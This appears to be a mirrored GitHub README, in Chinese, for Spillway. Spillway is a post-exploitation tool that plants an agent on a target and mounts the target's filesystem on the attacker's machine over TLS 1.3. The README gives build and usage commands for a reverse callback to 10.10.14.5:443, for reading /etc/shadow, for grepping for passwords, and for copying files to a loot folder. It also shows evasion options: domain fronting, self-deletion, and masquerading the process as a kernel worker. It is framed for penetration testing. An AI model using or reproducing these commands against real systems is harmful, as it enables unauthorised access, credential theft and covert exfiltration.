Real-Fruit-Snacks/Spillway
GitHub: Real-Fruit-Snacks/Spillway
专为渗透测试设计的反向FUSE文件系统挂载工具,通过TLS 1.3和PSK认证在本地透明挂载远程目标文件系统
Stars: 0 | Forks: 0



**渗透测试用的反向/绑定/休眠FUSE文件系统挂载**
在目标上部署一个小代理,通过FUSE将其整个文件系统挂载到本地,使用标准工具浏览——通过TLS 1.3和双向PSK认证。无SSH的SSHFS,为攻击而构建。
## 快速开始
**前置条件:** Go 1.22+、FUSE(Linux上为`libfuse`,macOS上为macFUSE)
```
git clone https://github.com/Real-Fruit-Snacks/Spillway.git
cd Spillway
make listener
./build.sh reverse 10.10.14.5:443
```
**验证:**
```
# 启动监听器(攻击者)
./bin/spillway listen --port 443 --mount ./target --key $(cat .psk)
# 在目标上部署代理(零参数——配置在编译时内置)
./spillway-agent-linux-amd64
# 使用任意工具浏览远程文件系统
ls ./target/etc/
cat ./target/etc/shadow
grep -r "password" ./target/var/www/
```
## 功能
### 反向/绑定/休眠模式
三种连接策略。代理回拨(反向)、监听(绑定),或保持静默直到经过身份验证的触发信号触发回调(休眠)。全部通过TLS 1.3进行。
```
./build.sh reverse 10.10.14.5:443 # agent dials back
./build.sh bind 0.0.0.0:8443 # agent listens
./build.sh dormant 10.10.14.5:443 --knock-port 49152 # silent until knock
```
### 完整FUSE挂载
您机器上的真实挂载点。`ls`、`cat`、`cp`、`grep`、`find`、`vim`——任何读取文件的工具都可以透明地操作远程文件系统。通过FUSE映射了17个操作。
```
ls ./target/ # directory listing
cat ./target/etc/shadow # read files
grep -r "password" ./target/etc/ # search content
find ./target/ -perm -4000 # find SUID binaries
cp ./target/etc/passwd ./loot/ # exfiltrate
```
### TLS 1.3 + PSK认证
临时自签名ECDSA证书,支持可选的指纹固定。两轮HMAC-SHA256挑战-响应认证——双方在开始任何文件系统操作之前都需证明持有密钥。
```
./build.sh reverse 10.10.14.5:443 --key
./build.sh reverse 10.10.14.5:443 --sni cdn.example.com # domain fronting
```
### 代理部署
零运行时参数。所有配置通过编译时的`-ldflags`注入——`/proc/cmdline`中没有任何内容。静态二进制文件,跨平台编译支持5个目标平台。
```
./build.sh reverse 10.10.14.5:443 --all # build all 5 platforms
./build.sh reverse 10.10.14.5:443 --self-delete # remove binary after exec
./build.sh reverse 10.10.14.5:443 --procname [kworker/0:1] # masquerade
```
## 架构
```
cmd/spillway/
├── main.go # Entry point, mode dispatch
├── config.go # Compile-time config vars (ldflags)
├── agent_run.go # Agent mode (//go:build agent)
└── listener_run.go # Listener CLI (//go:build !agent)
internal/
├── protocol/ # Wire format, message types, errno mapping
├── transport/ # TLS 1.3, framed conn, mux, proxy tunneling
├── agent/ # FS ops, path jail, rate limit, opsec
├── fuse/ # FUSE bridge, dir/file nodes, mount
├── listener/ # Connection accept, session lifecycle
├── cache/ # TTL cache (stat 5s, dir 5s)
└── config/ # Shared configuration types
```
## 安全
通过[GitHub安全公告](https://github.com/Real-Fruit-Snacks/Spillway/security/advisories)报告漏洞。90天负责任披露。
**Spillway不提供:**
- 植入物管理、任务分配或信标通信(C2框架)
- 有效载荷生成或漏洞利用模块(攻击框架)
- 销毁证据或篡改日志(反取证)
- 规避EDR/XDR行为分析(规避工具)
## 许可证
[MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks标签:EVTX分析, FUSE文件系统, Go语言, IP 地址批量处理, Linux提权, PE 加载器, PSK认证, TLS 1.3, 凭证访问, 加密通信, 反向Shell, 后渗透工具, 文件传输, 日志审计, 横向移动, 程序破解, 绑定Shell, 编程规范, 网络信息收集, 网络安全审计, 网络隧道, 进攻性安全, 远程挂载, 预共享密钥